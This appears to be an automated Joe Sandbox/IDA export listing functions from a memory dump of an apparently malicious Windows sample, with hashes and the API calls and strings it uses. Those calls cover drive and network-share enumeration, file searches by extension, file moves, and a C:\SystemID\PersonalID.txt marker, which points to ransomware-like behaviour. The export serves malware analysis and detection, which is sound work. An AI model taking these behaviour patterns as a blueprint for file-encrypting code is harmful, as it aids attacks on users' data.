Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Enum$AllocGlobalOpenResource_memset
String ID:
API String ID: 364255426-0
Opcode ID: 54b312cc4ee8bd09624119d4c268e334e055f93c635bfd49589b22278edf9028
Instruction ID: bd97fe2cb621df6ca28f66a093f1f6e361520364a30ff1ea4190286e2c40543e
Opcode Fuzzy Hash: 54b312cc4ee8bd09624119d4c268e334e055f93c635bfd49589b22278edf9028
Instruction Fuzzy Hash: 0F91B2756083418FD724DF55D891BABB7E1FF84704F14891EE48A87380E7B8A981CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00410A50 Relevance: 7.6, APIs: 5, Instructions: 104COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 00410A75
SetErrorMode.KERNEL32(00000001,00500234,00000002), ref: 00410AE2
PathFileExistsA.SHLWAPI(?), ref: 00410AF9
SetErrorMode.KERNEL32(00000000), ref: 00410B02
GetDriveTypeA.KERNEL32(?), ref: 00410B1B

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: ErrorMode$DriveDrivesExistsFileLogicalPathType
String ID:
API String ID: 2560635915-0
Opcode ID: 359e6a55afbbe0e598da15a7bd0e3f220f58e87e513936a7c4eb9a2fbae9a6a1
Instruction ID: e48b338c548d72163c5ae3f73f283317dfaad29deff82c686574d6b9df2ed0f8
Opcode Fuzzy Hash: 359e6a55afbbe0e598da15a7bd0e3f220f58e87e513936a7c4eb9a2fbae9a6a1
Instruction Fuzzy Hash: 6141F271108340DFC710DF69C885B8BBBE4BB85718F500A2EF089922A2D7B9D584CB97

Uniqueness

Uniqueness Score: -1.00%

Function 00423B4C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00423B64

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(007C0000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

std::exception::exception.LIBCMT ref: 00423B82
__CxxThrowException@8.LIBCMT ref: 00423B97

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,0044F299,?,?,?,?,?,?,?,0044F299,?,00508238,?), ref: 00430F1F

Strings

bad allocation, xrefs: 00423B77

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrow_mallocstd::exception::exception
String ID: bad allocation
API String ID: 3074076210-2104205924
Opcode ID: 9a1bf66614cd7086bb6176b434e45702f0d2866d58e2bdba52b0996558d525ce
Instruction ID: 445f5c97f97310cbd08f0009147839d9c604c92f3643d32107fe893a2d7397f3
Opcode Fuzzy Hash: 9a1bf66614cd7086bb6176b434e45702f0d2866d58e2bdba52b0996558d525ce
Instruction Fuzzy Hash: 74F0F97560022D66CB00AF99EC56EDE7BECDF04315F40456FFC04A2282DBBCAA4486DD

Uniqueness

Uniqueness Score: -1.00%

Function 0040F0E0 Relevance: 6.1, APIs: 4, Instructions: 86filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000002,00000000,00000002,00000080,00000000,00000000,?,?), ref: 0040F125
lstrlenA.KERNEL32(?,?,00000000), ref: 0040F198
WriteFile.KERNEL32(00000000,?,00000000), ref: 0040F1A1
CloseHandle.KERNEL32(00000000), ref: 0040F1A8

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleWritelstrlen
String ID:
API String ID: 1421093161-0
Opcode ID: 60d9f6127d6b11bfac00005b48f04bd8148e51489cf0d6db646d7855f6be01de
Instruction ID: 4e0a1a2928686de7afe91093b481d52cb6f90b47dd46c4e49af8be4df8d63ea4
Opcode Fuzzy Hash: 60d9f6127d6b11bfac00005b48f04bd8148e51489cf0d6db646d7855f6be01de
Instruction Fuzzy Hash: DF31F531A00104EBDB14AF68DC4ABEE7B78EB05704F50813EF9056B6C0D7796A89CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0041B185 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147windowCOMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 0041B1BA

Part of subcall function 004111C0: CreateFileW.KERNEL32(00000000,C0000000,00000001,00000000,00000003,00000080,00000000,?,00000000,?), ref: 0041120F
Part of subcall function 004111C0: GetFileSizeEx.KERNEL32(00000000,?,?,00000000,?), ref: 00411228
Part of subcall function 004111C0: CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 0041123D
Part of subcall function 004111C0: MoveFileW.KERNEL32(00000000,?), ref: 00411277

Part of subcall function 0041BA10: LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
Part of subcall function 0041BA10: RegisterClassExW.USER32(00000030), ref: 0041BA73

Part of subcall function 0041BA80: CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD

GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0041B4B3
TranslateMessage.USER32(?), ref: 0041B4CD
DispatchMessageW.USER32(?), ref: 0041B4D7

Strings

I:\5d2860c89d774.jpg, xrefs: 0041B32F
%username%, xrefs: 0041B283

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: FileMessage$Create$ClassCloseCursorDispatchHandleLoadMoveNameRegisterSizeTranslateUserWindow
String ID: %username%$I:\5d2860c89d774.jpg
API String ID: 441990211-897913220
Opcode ID: fd71ece97d69cd2e1e43cefa44c229bd5d58054698acf9877d9dd29cbeed6c8b
Instruction ID: 53fb4cb99f7e95a824910e08ad4bb0dd21933b0d591bc71827c80b4e91f39c04
Opcode Fuzzy Hash: fd71ece97d69cd2e1e43cefa44c229bd5d58054698acf9877d9dd29cbeed6c8b
Instruction Fuzzy Hash: 015188715142449BC718FF61CC929EFB7A8BF54348F40482EF446431A2EF78AA9DCB96

Uniqueness

Uniqueness Score: -1.00%

Function 0040C919 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B
_fputws.LIBCMT ref: 0040C9C6
_fputws.LIBCMT ref: 0040C9E8
_fputws.LIBCMT ref: 0040C9F3

Strings

C:\SystemID, xrefs: 0040C946
C:\SystemID\PersonalID.txt, xrefs: 0040C956

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: _fputws$CreateDirectory
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2590308727-54166481
Opcode ID: b7d04aaf57e2c38a629a4b8fb192307efab073ba7f3b957db105f9608cfaa5d8
Instruction ID: 548e7949761e073c688dfdb6472f733b12cf2ebad02737ba307de427565b7e5f
Opcode Fuzzy Hash: b7d04aaf57e2c38a629a4b8fb192307efab073ba7f3b957db105f9608cfaa5d8
Instruction Fuzzy Hash: 9911E672A00315EBCF20DF65DC8579A77A0AF10318F10063BED5962291E37A99588BCA

Uniqueness

Uniqueness Score: -1.00%

Function 0040EF50 Relevance: 4.6, APIs: 3, Instructions: 57COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0040EF69

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(007C0000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

_malloc.LIBCMT ref: 0040EF85
_memset.LIBCMT ref: 0040EF9B

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: _malloc$AllocateHeap_memset
String ID:
API String ID: 3655941445-0
Opcode ID: e788fc75c1a389223d7f3576cf7b7b25948bf92ee6cacf6141df89041618757a
Instruction ID: 5fa84ec4042e21db229fa26042ce02b7cce951e2f5e2b33d0654eda62efe4b83
Opcode Fuzzy Hash: e788fc75c1a389223d7f3576cf7b7b25948bf92ee6cacf6141df89041618757a
Instruction Fuzzy Hash: 06110631600624EFCB10DF99D881A5ABBB5FF89314F2445A9E9489F396D731B912CBC1

Uniqueness

Uniqueness Score: -1.00%

Function 00413A90 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 00413B0A

Part of subcall function 00423B4C: _malloc.LIBCMT ref: 00423B64

Strings

vector<T> too long, xrefs: 00413B00

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc
String ID: vector<T> too long
API String ID: 657562460-3788999226
Opcode ID: 0ad4a0ca8fdadbc1a12cf66a996cd1011d67085deb4d362cb70db5a7c32d017b
Instruction ID: 58ba692ce99c870a1dcba0d104e91e6c126768a8e2c2fae69a1ad948a11fc536
Opcode Fuzzy Hash: 0ad4a0ca8fdadbc1a12cf66a996cd1011d67085deb4d362cb70db5a7c32d017b
Instruction Fuzzy Hash: F401F171200705ABD720CFACC09068BFBE8AF80725F20853FEA5583381EBB5E944C784

Uniqueness

Uniqueness Score: -1.00%

Function 00454C00 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 23COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00454AE0: GetStdHandle.KERNEL32(000000F4,00454C16,%s(%d): OpenSSL internal error, assertion failed: %s,?,?,?,0045480E,.\crypto\cryptlib.c,00000253,pointer != NULL,00000000,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454AFA
Part of subcall function 00454AE0: GetFileType.KERNEL32(00000000), ref: 00454B05
Part of subcall function 00454AE0: __vfwprintf_p.LIBCMT ref: 00454B27

_raise.LIBCMT ref: 00454C18

Part of subcall function 0042A12E: __getptd_noexit.LIBCMT ref: 0042A16B

Part of subcall function 00427CEC: _doexit.LIBCMT ref: 00427CF6

Strings

%s(%d): OpenSSL internal error, assertion failed: %s, xrefs: 00454C0C

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: FileHandleType__getptd_noexit__vfwprintf_p_doexit_raise
String ID: %s(%d): OpenSSL internal error, assertion failed: %s
API String ID: 2149077303-4210838268
Opcode ID: c8b60d106a6ddf9770fe8ded3b270afc7ab6773223e56d6f9ab2ba1de5c26324
Instruction ID: fa72e03f5863b2a05375eef283b674a1c5903e86e1e3734bc2555e426bc738f9
Opcode Fuzzy Hash: c8b60d106a6ddf9770fe8ded3b270afc7ab6773223e56d6f9ab2ba1de5c26324
Instruction Fuzzy Hash: 6FD09E795892107FED022791EC07A1E7A51AF9471CF808419F69A041A2D6768534AA5B

Uniqueness

Uniqueness Score: -1.00%

Function 0040FD57 Relevance: 3.1, APIs: 2, Instructions: 134fileCOMMON

Download Yara Rule

APIs

PathFindExtensionW.SHLWAPI(?,00000000,-00000002,?,00000000,000000FF), ref: 0040FF4D
_wcsstr.LIBCMT ref: 0040FF7E
_wcsstr.LIBCMT ref: 0040FFC4
_wcsstr.LIBCMT ref: 0040FFEF
_wcsstr.LIBCMT ref: 0041001C
FindNextFileW.KERNEL32(?,?), ref: 0041005A
FindClose.KERNELBASE(?), ref: 0041006C

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: _wcsstr$Find$CloseExtensionFileNextPath
String ID:
API String ID: 2799698630-0
Opcode ID: 01677c7960f290016c291dc5dda4af2deb7e08f7db70c494aa9ddee329ae9700
Instruction ID: 5ab157793dcca273c0e587975c0a14bd2b460513ddb2d20d8000ed9fb441c990
Opcode Fuzzy Hash: 01677c7960f290016c291dc5dda4af2deb7e08f7db70c494aa9ddee329ae9700
Instruction Fuzzy Hash: 30519D70D00219DAEF20DF60DD457DEBBB5BF15308F4040BAD40A66291EB7A9AC9CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00423A38 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

__lock_file.LIBCMT ref: 00423A7D

Part of subcall function 00420E53: __lock.LIBCMT ref: 00420E76

__fclose_nolock.LIBCMT ref: 00423A88

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: 12bd1d3cff3597424f6cf441e7f6ef2d7829569bf8c2b731cad610acca9b362c
Instruction ID: e9f7363e2c125346a9344b83ccdc7017391740cbbddd1805e0fe7159b8e2b74d
Opcode Fuzzy Hash: 12bd1d3cff3597424f6cf441e7f6ef2d7829569bf8c2b731cad610acca9b362c
Instruction Fuzzy Hash: 1EF0F631B01724AAD710AF66680275E6AB46F00339F90815FE4A09A1C1CB7C87428F59

Uniqueness

Uniqueness Score: -1.00%

Function 0042FB64 Relevance: 3.0, APIs: 2, Instructions: 17COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 0042FB7B

Part of subcall function 00428AF7: __mtinitlocknum.LIBCMT ref: 00428B09
Part of subcall function 00428AF7: EnterCriticalSection.KERNEL32(00000000,?,004250D7,0000000D), ref: 00428B22

__tzset_nolock.LIBCMT ref: 0042FB8E

Part of subcall function 0042FE47: __lock.LIBCMT ref: 0042FE6C
Part of subcall function 0042FE47: ____lc_codepage_func.LIBCMT ref: 0042FEB3
Part of subcall function 0042FE47: __getenv_helper_nolock.LIBCMT ref: 0042FED4
Part of subcall function 0042FE47: _free.LIBCMT ref: 0042FF07
Part of subcall function 0042FE47: _strlen.LIBCMT ref: 0042FF0E
Part of subcall function 0042FE47: __malloc_crt.LIBCMT ref: 0042FF15

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: __lock$CriticalEnterSection____lc_codepage_func__getenv_helper_nolock__malloc_crt__mtinitlocknum__tzset_nolock_free_strlen
String ID:
API String ID: 360932542-0
Opcode ID: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction ID: e2ddc43a93f61bf79f0790849a809cb79cc8f4f227a559e0d4967367be19fad2
Opcode Fuzzy Hash: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction Fuzzy Hash: 69E0BF35E41664DAD620A7A2F91B75C7570AB14329FD0D16F9110111D28EBC15C8DA2E

Uniqueness

Uniqueness Score: -1.00%

Function 00427B0B Relevance: 3.0, APIs: 2, Instructions: 7COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtCorExitProcess.LIBCMT ref: 00427B11

Part of subcall function 00427AD7: GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,?,?,?,00427B16,00000000,?,00428BCA,000000FF,0000001E,00507BD0,00000008,00428B0E,00000000,00000000), ref: 00427AE6
Part of subcall function 00427AD7: GetProcAddress.KERNEL32(?,CorExitProcess), ref: 00427AF8

ExitProcess.KERNEL32 ref: 00427B1A

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID:
API String ID: 2427264223-0
Opcode ID: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction ID: 59367741208a4d0b8125be5957acfda0e57e61d39344a7bf1a3f5abf2379cf84
Opcode Fuzzy Hash: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction Fuzzy Hash: 0DB09230404108BBCB052F52EC0A85D3F29EB003A0B408026F90848031EBB2AA919AC8

Uniqueness

Uniqueness Score: -1.00%

Function 004118C5 Relevance: 2.5, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(00000000,00000000,00008000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004118DD
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?), ref: 004118E9

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleVirtual
String ID:
API String ID: 2443081362-0
Opcode ID: 361c4fcee47f9886bce79b3ac72f802e467dd4b7b05589e3f2927c820f7a912b
Instruction ID: a75cf17640dcbe18a091e0aebb8a692561bc66dfcc2ddf1384dfcaf55dfbf141
Opcode Fuzzy Hash: 361c4fcee47f9886bce79b3ac72f802e467dd4b7b05589e3f2927c820f7a912b
Instruction Fuzzy Hash: D1E08636B415049BC7209B99ECC0B9DB374F785720F20437AD919733D047352D028A58

Uniqueness

Uniqueness Score: -1.00%

Function 00416950 Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 004169DF

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception
String ID:
API String ID: 120817956-0
Opcode ID: 8a02d42dd33a216df8cc63c6f6beba748b7d17bbcaf92180e3e70ee783765c00
Instruction ID: aa06b8048d3bf760f527e7d0bbb9ad0a08af858ba63749c6f8d7f01112261dfe
Opcode Fuzzy Hash: 8a02d42dd33a216df8cc63c6f6beba748b7d17bbcaf92180e3e70ee783765c00
Instruction Fuzzy Hash: E731E3B2A006059BCB20DF68C5816AEB7F9EF45750F21823FE856D7740DB38DD448BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00416760 Relevance: 1.6, APIs: 1, Instructions: 98COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 004167E6

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception
String ID:
API String ID: 120817956-0
Opcode ID: c9838848fe5c8eec5df2989d35d9b90d637aecb244023d97c053b5662a189974
Instruction ID: efb258ddcfae47249c3acbfcaa5a8e986a9cbccba7edf1416c99c2e95f316cd5
Opcode Fuzzy Hash: c9838848fe5c8eec5df2989d35d9b90d637aecb244023d97c053b5662a189974
Instruction Fuzzy Hash: B83126B1A016019FDB24DF29C5807AEBBF4EB40364F104A2EE426977C0D738DA80C7A6

Uniqueness

Uniqueness Score: -1.00%

Function 00416570 Relevance: 1.6, APIs: 1, Instructions: 76COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 004165C5

Part of subcall function 00423B4C: _malloc.LIBCMT ref: 00423B64

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc
String ID:
API String ID: 657562460-0
Opcode ID: e0e5a2f55fe47bad399a7528cbd0c3c4869536831e185f17c6957d537ae03e1f
Instruction ID: 5021f87c270b400a587bd724d9b61bde01bf534475f8b0cbfe068d44a909a5c2
Opcode Fuzzy Hash: e0e5a2f55fe47bad399a7528cbd0c3c4869536831e185f17c6957d537ae03e1f
Instruction Fuzzy Hash: A72124B5A00115DBCB14DF5CD981B9ABFA9EF45700F04822AEC058B348D738EA14CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 0041FA10 Relevance: 1.5, APIs: 1, Instructions: 19threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_0001F130,?,00000000,00000000), ref: 0041FA25

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 0ac00649bc9f379a6b742ea92144ce4fa1e49017590e60b2748b6a8e655e84ce
Instruction ID: 74150d4eedde67828055b261a2b9f98274f0c47e32cd20f87c2cefabb50f2d8a
Opcode Fuzzy Hash: 0ac00649bc9f379a6b742ea92144ce4fa1e49017590e60b2748b6a8e655e84ce
Instruction Fuzzy Hash: F1D05E322883147BE3140A9AAC06F867AC88B15B20F00403AB609DA1C0D9A1A8108A9C

Uniqueness

Uniqueness Score: -1.00%

Function 0041FD80 Relevance: 1.5, APIs: 1, Instructions: 18windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00410BD0: WNetOpenEnumW.MPR(00000002,00000000,00000000,00000000,?), ref: 00410C12

SendMessageW.USER32(?,00008004,00000000,00000000), ref: 0041FDA4

Memory Dump Source

Source File: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2198809829.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2198809829.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: EnumMessageOpenSend
String ID:
API String ID: 1835186980-0
Opcode ID: 4b855248cb889363fe6aa4b9a8dd9f39f841337135063b4ce115baa5f3e43425
